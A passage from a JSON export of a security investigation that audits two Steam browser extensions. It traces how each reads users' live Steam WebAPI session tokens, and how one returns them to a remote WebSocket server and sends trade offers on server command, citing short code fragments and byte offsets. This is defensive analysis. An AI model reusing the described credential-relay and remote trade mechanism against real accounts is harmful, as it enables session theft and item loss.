                "GetPlayerBans for every member (ban flags); GetPlayerSummaries for creation dates and country. Batched at 100 IDs, deduplicated by SteamID64."
              ],
              [
                "100k Banned Accounts SRSWOR Slice\n100,000",
                "A representative sample drawn uniformly at random without replacement from the 1,182,811 banned accounts corpus ($P = 8.45\\%$). Finite Population Correction yields a margin of error of $\\pm 0.39\\%$ at a 99% confidence level ($Z = 2.576$).",
                "Monetization and limited account status (isLimitedAccount) audited via Steam's legacy XML profile interface (?xml=1) over distributed proxy pipelines. Confirms 63.06% paid status."
              ],
              [
                "SteamRep scammers\n51,732",
                "Complete 100% census of all profiles marked BANNED in the SteamRep community reputation database (51,732 total profiles). Zero sampling or filtering applied.",
                "ISteamUser/GetPlayerBans/v1 for all 51,732 accounts, cross-tabulated against SteamRep status. Confirms 67.77% walk free of any scam bans."
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/asf-ban-census-2026-09-23.json",
          "sha256": "e22ac0d3490ec2b9651927a0408dd32db9ebd05ee5b903210c3cc0c3fdb0a5bc",
          "bytes": 4841
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/steamrep_steam_bans.csv",
          "sha256": "9052b90fbc61f3b5dc4c3618239ca4e789a8092f2bef298a0bc8a38aa040af1d",
          "bytes": 2654544
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/banned_archiasf_massive.csv",
          "sha256": "e8913b20a925b6ed7ee7b22135022e6f10431af791710940f5d523b65d9f76f8",
          "bytes": 60433193
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/slice_100k_limited_results.csv",
          "sha256": "41e885db94414e1d70a7bcb4c14be40738e4673aec56e66e31acfa8faedb8ca6",
          "bytes": 2102508
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/banned_100k_slice.csv",
          "sha256": "9b98a90b2c894d69fd19841bad18be2b0ecf3625a20354c6b3d51ee0f4c6e68d",
          "bytes": 8461459
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/SteamRep_Profiles_BannedCaution_2024.csv",
          "sha256": "de68284f603f14f27d8b2bbb420f19e11d3f6532082593026edb3d1db44ca3a3",
          "bytes": 2110773
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/russian_conflicts_report.json",
          "sha256": "be0daaa8cf4483683262afe2d3374114f9df71d7f992ad35b765a6d6e474a8ed",
          "bytes": 127646
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/classification_report.json",
          "sha256": "0fb2682750c95d3030f8936f761a0cf6cfcf4b53a96323e9adafdbf4db56dd46",
          "bytes": 66309
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "extension-audit",
      "language": "en",
      "title": "Steam sessions. Platform access. — PhishDestroy",
      "author": "Agent Cora",
      "source_url": "https://phishdestroy.io/steam_dossier/extension-audit",
      "source_file": "steam_dossier/extension-audit.html",
      "source_html_sha256": "09c3defc70c0621c4aaf7bdc8c4bc15e41aa062f19a5ae3a6fdd2b0eec880a4b",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "extension-audit.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/extension-audit.pdf",
        "sha256": "95c96645ed58790e80c9ca548c5c5c06e2925898037d80848adb9d20c2ccc1a4",
        "bytes": 355705,
        "pages": 17
      },
      "integrity": {
        "signed_object": "extension-audit.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/extension-audit.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/extension-audit.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nFollow-up · Empire, Roll and Fast / SIH\nFOLLOW-UP / 10 OCTOBER 2026\nEmpire’s session access. Fast’s current SIH connection.\n\nThe follow-up examines Trade Token Sync 1.2.4, the background Steam renewal mechanism, old and current Roll availability, and new first-party Fast frontend evidence linking SIH.\n\nRead the new findings ↗\nTECHNICAL APPENDIX / 10 OCTOBER 2026\nSteam sessions. Platform access.\nINVESTIGATION BY AGENT CORA\n\nFollow the credential from the user’s browser to the platform’s control layer.\n\nThe authenticated Steam session is a renewable source of account access. We inspected the package currently linked by CSGORoll and the official SIH download to identify exactly where a token is read, how it leaves the browser, and what triggers another read.\n\nThe author’s audit of this same SIH 2.11.12 specimen — a remotely tasked execution grid over users’ authenticated Steam sessions, with the mass-parsing/Layer-7 abuse-capability question — is retained in full on the case page; this appendix’s code findings are its byte-anchored evidence. The CSGOFast/SIH/Valve case ↗\n\nFollow the code ↓What does “24 hours” mean?\nREVIEW RECORD2 packages.\nExact versions.\nCSGORoll-linked\n1.2 · Google CRX\nSIH\n2.11.12 · Official ZIP\nMethod\nStatic tracing + offline fixtures\nLive accounts used\n0\nDownload evidence record ↗\nTHE CENTRAL FINDING\n\nA token’s expiry can be temporary. The commercial connection can continue. An available Steam session can supply another credential. The code determines whether collection happens when a popup opens, when a server asks, or when an API request fails.\n\nOriginal 11 October edition · complete text →Preserved original wording, alongside the current sections →\n01 / IDENTIFY THE CODE\nThe package matters.\n\nEach result is tied to a downloaded version. The acquisition record preserves URLs, timestamps and SHA-256 hashes.\n\nCSGOROLL’S CURRENT LINK\n\nSteam WebAPI Token Extension 1.2\n\nOffered by Ancient Gaming. The current official redirect ↗ leads here. [A02]\n\nExtension ID\nbdgacfnoihldeemdcbggkgmjgdfcliah\nEntry point\nPopup → index.js → update-token.js\nToken path\nSteam HTML → popup → clipboard\nIntegrity\nCRX3 proofs verified; ID matches signing key\n\nSHA-256\nb3ad7738bd8aa7a7fda1b8db72a51013a002a2bd7a5e85470f3ab1aca038a443\n\nInspect the extraction path ↓\n\nSIH OFFICIAL DOWNLOAD\n\nSteam Inventory Helper 2.11.12\n\nThe publisher’s website supplies this ZIP and identifies RedBoon Limited. The CSGOFast evidence is examined below. [A07]\n\nExtension ID\ncmeakgjggjdlcpncigglobpjbkabhmjl\nEntry point\nservice-worker.js → background bundles\nToken path\nSteam HTML → handler → SIH WebSocket\nIntegrity\nOfficial HTTPS ZIP; file hashes recorded\n\nSHA-256\n63755fe96c0a55826d45661f8aec56a0b173a833ddf0e64074fd5a798425bd6a\n\nA newer SIH 2.12.1 package was separately acquired from Google’s update service and audited on the case page — three CRX3 signatures verified, extension ID matched. This appendix pins 2.11.12; the 33-finding record for 2.12.1 lives with the case. The CSGOFast/SIH/Valve case ↗\n\nInspect the server-message path ↓\n02 / FOLLOW THE LOGIC\nThe session is the starting point.\n\nThese are reconstructed code paths. They show the downloaded client’s logic, with the conditions needed to reach each step.\n\nTRIGGERUser opens the extension popup.R03 ↗\n01\nUse the existing login\n\nThe extension requests steamcommunity.com/profiles with credentials: 'include'. The browser supplies the eligible Steam session cookies.\n\n02\nRead Steam’s response\n\nIt extracts the SteamID and data-loyalty_webapi_token from HTML. The value is the live, Steam-issued session credential — account-session material the platform cannot read without the user’s browser.\n\n03\nHand the value to the user\n\nThe popup displays the token. A click copies it to the clipboard. Version 1.2 has no registered background worker or automatic platform-upload code.\n\n04\nComplete the platform handoff\n\nCSGORoll’s help instructions tell the user to paste the copied token into its inventory page. That website-side submission is the next step, outside this extension’s code. [A06]\n\nCONTROL CONSEQUENCE\n\nThe user’s Steam login makes a transferable account credential available for the platform’s verification workflow.\n\nTRIGGERA matching message arrives on the active SIH connection.S02 ↗\n01\nStart the eligible background connection\n\nThe runner checks its market setting and stored Steam authorization. Controller state also depends on configuration and orders. The destination is wss-new.steaminventoryhelper.com. [S03]\n\n02\nDispatch the server message\n\nThe active handler map connects the token-request event to Db. The handler requests steamcommunity.com/id/me/edit/info.\n\n03\nExtract the credential\n\nIt matches the loyalty WebAPI token in the response. This handler can proceed only if the request returns the expected authenticated page and token field.\n\n04\nReturn it over the same connection\n\nThe value enters the response’s webApiToken field, alongside the request’s message ID. The send operation uses the SIH WebSocket provider.\n\nCONTROL CONSEQUENCE\n\nThe client includes a server-requested credential handoff. The server chooses when to ask; production requests were not captured in the 10 October static audit.\n\nNo game-developer account is needed for the extraction path.\n\nThis code begins with a user logged into Steam Community. “WebAPI token” names account-session material exposed in that user’s response. It is a different access route from a Steamworks publisher key. The main investigation’s three-column comparison explains those access types.\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nThe client includes a server-requested credential handoff. The server chooses when to ask; actual production requests were not captured in this review.\n\nOpen this passage in the complete original edition →\n03 / THE 24-HOUR QUESTION\nValidity and collection have separate triggers.\n\nA token’s exp value describes its validity deadline. A timer, popup action, failed request or server message determines when the client asks for a token again.\n\nWhat the reviewed evidence establishes\nMechanism\tTrigger\tObserved evidence\nCSGORoll · April 2024 instructions\tDaily renewal\tThe operator instructs users to obtain the token in the same logged-in Steam session and renew it daily. [A04]\nCSGORoll · June 2024 announcement\tAutomatic collection and refresh\tThe announcement describes background collection and transmission to its servers. The earlier package was not acquired for code inspection. CSGORoll should release the 2024 package that performed the announced automatic collection, together with its collection logs. [A05]\nCurrent linked extension · 1.2\tPopup opens\tThe inspected entry point reads the profile token. There is no scheduled 24-hour renewal in this registered path. [R02–R03]\nSIH · token-request handler\tServer message\tThe active handler can extract and return a token on request. The production request cadence is server-side. [S02]\nSIH · trade API recovery\tHTTP 403 response\tReread profile → extract token → update storage → retry. A profile-cache threshold of 60 seconds is separate from token validity. [S04]\nSIH · authenticator subsystem\tExpiry check / explicit refresh call\tA separate path uses a refresh token and SteamID to request a Steam-issued access token. [S05]\nWHAT REPEATS\n\nThe client reacquires a credential from Steam. A repeated request may return the same token until Steam rotates it. Continued account access is the condition that makes renewal possible. The audit did not measure a universal 86,400-second lifetime.\n\n04 / BEYOND READING A TOKEN\nThe active SIH agent also handles trade commands.\n\nThe registered background map contains send, accept, decline and cancel handlers. In the send path, the extension constructs an offer, supplies session material and submits it to Steam. [S06]\n\nSERVER INPUT\nRecipient. Items. Trade message.\n\nThe request payload supplies the intended recipient and offer contents.\n\nBROWSER AUTHORITY\nSession ID. Steam cookies.\n\nThe client adds session material and sends the request through the authenticated browser context.\n\nSERVER FEEDBACK\nResult. Steam trade ID.\n\nThe result is returned to the connected server for its workflow.\n\nThe authority here comes from the extension’s browser access and session-backed requests. Steam’s account restrictions and any required mobile confirmation remain part of execution. The audit did not perform a trade.\n\nThe session-backed submissions documented here are received by Steam as account-authenticated requests: operator instructions running through user accounts land on Valve’s own endpoints and controls. The CSGOFast/SIH/Valve case ↗\n\nDirect item delivery still sits inside a controlled process.\n\nCredential collection, delivery verification and balance release are distinct steps. The main investigation documents the platform’s settlement rules. The code audit identifies the access mechanisms that can connect a user’s Steam activity to that platform workflow.\n\n05 / CSGOFAST ATTRIBUTION\nWhat is actually inside the SIH package?\n\nFOUND IN THE DISTRIBUTED FILES\n\n“CSGOFast: Confirm trade”\n\nbundle/js/sihAgent.js contains this notification and a send-trade branch. The current background bundle also contains CSGOFast promotional references. [F01]\n\nCURRENT REGISTRATION\n\nThe service worker loads background.js. A package-wide text search found no reference loading sihAgent.js. The active token handler traced here belongs to SIH.\n\nThe follow-up now supplies current first-party evidence: CSGOFast’s frontend links the SIH extension and checks its online/permission state. That establishes the present frontend integration. The older bundled CSGOFast branch remains shipped inside the distributed package; CSGOFast’s own frontend establishes the same connection today. Read the current Fast integration findings ↗\n\n06 / REPRODUCIBLE LOCATIONS\nEvery finding has a file behind it.\n\nOpen a finding for its original file hash, line and byte offset. Optional formatted lines use jsbeautifier 1.15.4; original byte offsets remain the stable reference.\n\nEvidence JSON ↗English report ↗\nR01The current CSGORoll link identifies a different packageAcquisition record\n\nOn 10 October 2026, https://csgoroll.com/extension resolved to Steam WebAPI Token Extension, ID bdgacfnoihldeemdcbggkgmjgdfcliah, offered by Ancient Gaming. The Google update service supplied version 1.2. The June 2024 blog links to the earlier ID cgkgfnlnpcifjnbfdbmcphcgnkeinjpd. The two package identities are recorded separately.\n\ncsgoroll-current / manifest.json\n\nOriginal line 3 · byte 174\n\nFind: \"version\":\"1.2\"\n\nSHA-256 ab2ff2f51b5b1ebc862085e992ea380cfb9c42c837fd74c3e9657d9a57eeb792\n\nR02The browser session supplies the tokenCode + offline check\n\nOpening the popup loads index.js, which calls getSteamCommunityInfo(). That function requests https://steamcommunity.com/profiles with credentials included, extracts the SteamID and data-loyalty_webapi_token from the returned HTML, and returns both. It reads a Steam-issued value. An offline fixture confirmed that the same response produces the same token.\n\ncsgoroll-current / index.html\n\nOriginal line 51 · byte 1,908\n\nFind: <script src=\"index.js\"\n\nSHA-256 93351ab1c5ac5bcd7b6aae5a7ce6bb7bd7c4f6d0a1e7b8322483c218c2a6bf71\n\ncsgoroll-current / index.js\n\nOriginal line 4 · byte 134 · formatted 5–9\n\nFind: getSteamCommunityInfo().then\n\nSHA-256 b1d899ebd09894ae26d886e67799e724fe4347fc14bc6561074c90531c9d5c73\n\ncsgoroll-current / update-token.js\n\nOriginal line 2 · byte 63 · formatted 1–37\n\nFind: getSteamCommunityInfo\n\nSHA-256 a5377f3cc9131c6b9a8d7f3c15268ccc51053bc153310634f3ddda8d059365fc\n\nR03Version 1.2 is a popup-and-clipboard pathRegistered code path\n\nThe token is displayed in the popup and copied when the user clicks the copy button. The manifest declares no background worker, no alarms permission and no content scripts. The registered JavaScript contains no daily refresh scheduler or automatic platform upload. CSGORoll’s current help page completes this route with a manual paste into its token field. A separate React template bundle is shipped but is not registered or imported by this entry path.\n\ncsgoroll-current / manifest.json\n\nOriginal line 3 · byte 417\n\nFind: \"permissions\":[]\n\nSHA-256 ab2ff2f51b5b1ebc862085e992ea380cfb9c42c837fd74c3e9657d9a57eeb792\n\ncsgoroll-current / index.js\n\nOriginal line 33 · byte 1,273 · formatted 33–44\n\nFind: navigator.clipboard\n\nSHA-256 b1d899ebd09894ae26d886e67799e724fe4347fc14bc6561074c90531c9d5c73\n\nS01SIH runs a privileged background componentManifest + entry point\n\nThe official SIH ZIP identifies version 2.11.12. Its service worker imports common.js, background.js and backgroundAngular.js. Its declared capabilities include cookies, storage, webRequest and declarativeNetRequest, with host access to all URLs. The manifest’s complete permission list is notifications, alarms, storage, unlimitedStorage, background, webRequest, declarativeNetRequest, declarativeNetRequestFeedback, cookies, activeTab and management, beside host access to <all_urls>. Those permissions describe available capabilities; the following findings trace specific uses.\n\nsih / manifest.json\n\nOriginal line 7 · byte 164\n\nFind: \"version\": \"2.11.12\"\n\nSHA-256 d9cd8006b8cfb634943c44c540cf5db9ea425af2a59c8b0def2a8bcdef442379\n\nsih / manifest.json\n\nOriginal line 446 · byte 14,563\n\nFind: \"permissions\"\n\nSHA-256 d9cd8006b8cfb634943c44c540cf5db9ea425af2a59c8b0def2a8bcdef442379\n\nsih / service-worker.js\n\nOriginal line 11 · byte 393\n\nFind: importScripts\n\nSHA-256 03bc8f4d0ab34af3d93c0245ebb58a680b06443348473ea36d87cb975a48b64c\n\nS02A server message can request a WebAPI tokenRegistered handler\n\nIn the active background bundle, event Av maps to handler Db. Db requests the Steam profile-edit page, extracts its loyalty WebAPI token, and places the value in a webApiToken response field. The handler map is attached to a WebSocket provider at wss://wss-new.steaminventoryhelper.com. This is a code path for returning a credential to the server when extraction succeeds; this review did not capture a live authenticated exchange.\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 532,222 · formatted 22,939–22,954\n\nFind: Av=\"vYPRqjhY88H91uTxrcm\"\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 723,214 · formatted 32,324–32,354\n\nFind: Webapi token get: called\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 1,210,623 · formatted 56,880–56,880\n\nFind: Av,Db\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 1,212,415 · formatted 56,933–56,976\n\nFind: wss://wss-new.steaminventoryhelper.com\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nS03The connection has explicit operating conditionsControl flow\n\nThe agent runner checks the sih_app_market_toggle setting and stored Steam authorization before connecting. Its controller also considers server configuration, eligible account cohorts and pending orders. The token handler itself contains no additional project-permission check or per-request confirmation. Server-side authorization and which commands are actually sent remain outside the downloaded client package — the command log and authorization configuration are the operator’s records, and SIH should disclose them.\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 513,763 · formatted 22,093–22,115\n\nFind: e[this.settingName]&&r\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 1,224,236 · formatted 57,525–57,581\n\nFind: h=f.AVAILABLE_CONTROLLER_LAST_NUMBER_IDS,p=l&&l.steamId\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nS04Trade reads can recover by rereading the profileCode path\n\nSIH stores a webApiToken and supplies it as access_token to IEconService/GetTradeOffers. Its HTTP 403 branch obtains the profile again, extracts a token, updates storage and retries. The shared profile helper has a 60-second cache threshold. These are response-driven and cache-driven mechanisms; this path contains no fixed 24-hour token-renewal timer.\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 328,760 · formatted 12,621–12,679\n\nFind: Date.now()-Vc.ts>=6e4\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 665,071 · formatted 29,396–29,459\n\nFind: Not available web api\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/common.js\n\nOriginal line 1 · byte 204,323\n\nFind: data-loyalty_webapi_token\n\nSHA-256 f1cfa4c20bef835cb0f0e73445077df9ca103f4bd7ed9bd2f8fad602322b0e8c\n\nS05Refresh-token renewal is a separate implementationSeparate credential path\n\nSIH also contains an authenticator/session-management subsystem. It checks an access token’s exp claim and can request another access token from Steam’s GenerateAccessTokenForApp endpoint using a refresh token and SteamID. This subsystem requires its own session material; the profile-page token extraction path does not itself establish possession of a refresh token.\n\nsih / bundle/js/background.js\n\nOriginal line 17 · byte 1,483,401 · formatted 69,444–69,457\n\nFind: isTokenExpired error:\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/background.js\n\nOriginal line 17 · byte 1,483,633 · formatted 69,458–69,523\n\nFind: refresh_token:e,steamid:r\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nS06The active agent includes trade execution pathsRegistered handlers\n\nThe same active handler map registers send, accept, decline and cancel operations. The send path constructs an offer from the payload’s recipient and items, adds the local Steam session ID and recipient trade-link token, and POSTs to Steam with credentials included. The server receives the resulting trade ID. Actual execution remains subject to the active session, agent state and Steam’s checks; final mobile confirmation was not tested.\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 531,972 · formatted 22,939–22,947\n\nFind: dv=\"tradesend\"\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 1,199,292 · formatted 56,297–56,329\n\nFind: https://steamcommunity.com/tradeoffer/new/send\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 1,201,080 · formatted 56,397–56,408\n\nFind: partner:s.data.recipient.steamId\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nsih / bundle/js/background.js\n\nOriginal line 1 · byte 1,209,217 · formatted 56,806–56,825\n\nFind: Trade send: called\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\nF01What the package establishes about CSGOFastAttribution boundary\n\nThe SIH package contains a CSGOFast-labelled notification and send-trade implementation in bundle/js/sihAgent.js, plus CSGOFast promotional references in the active background bundle. A package-wide text search found no registration or import reference to sihAgent.js. The active credential path above belongs to SIH. The current CSGOFast frontend supplies the additional connection evidence: a direct SIH installation link and checks for its online and permission state. This establishes the integration at the frontend; what the backend commands do and who controls the operation are records in SIH’s and CSGOFast’s possession, and both operators should publish them. Inspect the new first-party evidence ↗\n\nsih / bundle/js/sihAgent.js\n\nOriginal line 1 · byte 364,333 · formatted 14,343–14,422\n\nFind: CSGOFast: Confirm trade\n\nSHA-256 3071af198f4b6f88580971b135728a600b06b5d9ae27e44cdc07a0ecf233406c\n\nsih / bundle/js/background.js\n\nOriginal line 17 · byte 2,273,840\n\nFind: key:\"CSGOFAST\"\n\nSHA-256 dffbdddffe00b8d3cbc77fd1963ce25a4513af535e92b951c9df0a5333c69c36\n\n07 / REVIEW METHOD\nPinned artifacts. Bounded conclusions.\nCompleted\nOfficial referral and download provenance recorded.\nPackage versions and original file SHA-256 hashes captured.\nCurrent CRX signatures checked, including the extension-ID key match.\nRegistered entry points and selected credential/trade paths traced.\nOriginal CSGORoll extractor run offline against synthetic fixtures: five checks passed.\nNot measured\nSteam’s live token lifetime and rotation cadence.\nWhich messages SIH’s production server sent during the 10 October static audit.\nActual account permissions, mobile confirmations or settlement outcomes.\nRuntime behavior of the earlier CSGORoll package and Fast’s authenticated SIH integration.\nEvery SIH feature or every one of its 225 JavaScript files.\n\nThis is a targeted code audit, not a certification of either extension. No browser profile, live token or Steam account was used. No extension was installed. The small offline harness intercepts every request and uses invented input.\n\nThe separate 11 October runtime capture of SIH 2.11.12 records the live connection, controller settings, uploads, advertising and OpenID flow. The version ledger connects that capture with this static audit and the signed 2.12.1 follow-up.\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nWhich messages SIH’s production server currently sends.\n\nOpen this passage in the complete original edition →\n08 / PRIMARY RECORDS\nSources and downloads.\nA01\nCSGORoll’s current extension redirect ↗\n\nObserved final URL and timestamp are retained in the audit record.\n\nA02\nSteam WebAPI Token Extension — Chrome Web Store ↗\n\nVersion 1.2; Ancient Gaming; listed update 22 February 2025.\n\nA03\nCurrent CRX from Google’s update service ↗\n\nDownloaded package, SHA-256 and signature checks pinned in this report.\n\nA04\nCSGORoll — WebAPI P2P Solution ↗\n\n10 April 2024. Same-session token extraction and daily renewal instruction.\n\nA05\nCSGORoll — WebAPI Trading Extension ↗\n\n25 June 2024. Automatic collection, refresh and transmission in the announced workflow.\n\nA06\nCSGORoll Help Center — Steam WebAPI Token ↗\n\n10 November 2025. Extension copy-and-paste instructions and trade-status use.\n\nA07\nSIH official download page ↗\n\nThe page links directly to the audited ZIP and identifies RedBoon Limited.\n\nA08\nSIH official ZIP ↗\n\nDownloaded version 2.11.12. This is the audit’s SIH code source.\n\nA09\nSIH — Chrome Web Store ↗\n\nPublished identity and version cross-check.\n\nA10\nChromium — CRX3 format ↗\n\nSigned archive layout and extension-ID derivation.\n\nA11\nChrome — cross-origin network requests ↗\n\nExtension host permissions and cross-origin request behavior. Host-permission paths do not constrain access to just that path.\n\nA12\nChrome — cookies API ↗\n\nCookie access requires the cookies permission and matching host permissions.\n\nA13\nChrome — alarms API ↗\n\nA scheduled callback interval is distinct from the expiry encoded in a token.\n\nCSGORoll-linked manifest ↗SIH manifest ↗Signature results ↗Offline check results ↗",
        "headings": [
          {
            "level": 3,
            "text": "Empire’s session access. Fast’s current SIH connection.",
            "anchor": "pd-extension-audit--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#new-session-evidence"
          },
          {
            "level": 1,
            "text": "Steam sessions. Platform access.",
            "anchor": "pd-extension-audit--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#overview"
          },
          {
            "level": 2,
            "text": "The package matters.",
            "anchor": "pd-extension-audit--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#packages"
          },
          {
            "level": 3,
            "text": "Steam WebAPI Token Extension 1.2",
            "anchor": "pd-extension-audit--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#packages"
          },
          {
            "level": 3,
            "text": "Steam Inventory Helper 2.11.12",
            "anchor": "pd-extension-audit--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#packages"
          },
          {
            "level": 2,
            "text": "The session is the starting point.",
            "anchor": "pd-extension-audit--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#traces"
          },
          {
            "level": 3,
            "text": "Use the existing login",
            "anchor": "pd-extension-audit--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trace-roll"
          },
          {
            "level": 3,
            "text": "Read Steam’s response",
            "anchor": "pd-extension-audit--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trace-roll"
          },
          {
            "level": 3,
            "text": "Hand the value to the user",
            "anchor": "pd-extension-audit--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trace-roll"
          },
          {
            "level": 3,
            "text": "Complete the platform handoff",
            "anchor": "pd-extension-audit--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trace-roll"
          },
          {
            "level": 3,
            "text": "Start the eligible background connection",
            "anchor": "pd-extension-audit--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trace-sih"
          },
          {
            "level": 3,
            "text": "Dispatch the server message",
            "anchor": "pd-extension-audit--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trace-sih"
          },
          {
            "level": 3,
            "text": "Extract the credential",
            "anchor": "pd-extension-audit--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trace-sih"
          },
          {
            "level": 3,
            "text": "Return it over the same connection",
            "anchor": "pd-extension-audit--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trace-sih"
          },
          {
            "level": 3,
            "text": "No game-developer account is needed for the extraction path.",
            "anchor": "pd-extension-audit--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#traces"
          },
          {
            "level": 2,
            "text": "Validity and collection have separate triggers.",
            "anchor": "pd-extension-audit--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#timing"
          },
          {
            "level": 2,
            "text": "The active SIH agent also handles trade commands.",
            "anchor": "pd-extension-audit--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trade-control"
          },
          {
            "level": 3,
            "text": "Recipient. Items. Trade message.",
            "anchor": "pd-extension-audit--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trade-control"
          },
          {
            "level": 3,
            "text": "Session ID. Steam cookies.",
            "anchor": "pd-extension-audit--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trade-control"
          },
          {
            "level": 3,
            "text": "Result. Steam trade ID.",
            "anchor": "pd-extension-audit--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trade-control"
          },
          {
            "level": 3,
            "text": "Direct item delivery still sits inside a controlled process.",
            "anchor": "pd-extension-audit--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#trade-control"
          },
          {
            "level": 2,
            "text": "What is actually inside the SIH package?",
            "anchor": "pd-extension-audit--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#csgofast"
          },
          {
            "level": 3,
            "text": "“CSGOFast: Confirm trade”",
            "anchor": "pd-extension-audit--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#csgofast"
          },
          {
            "level": 2,
            "text": "Every finding has a file behind it.",
            "anchor": "pd-extension-audit--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#code-record"
          },
          {
            "level": 2,
            "text": "Pinned artifacts. Bounded conclusions.",
            "anchor": "pd-extension-audit--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/extension-audit#method"
          },
          {
            "level": 3,
            "text": "Completed",
            "anchor": "pd-extension-audit--heading-26",
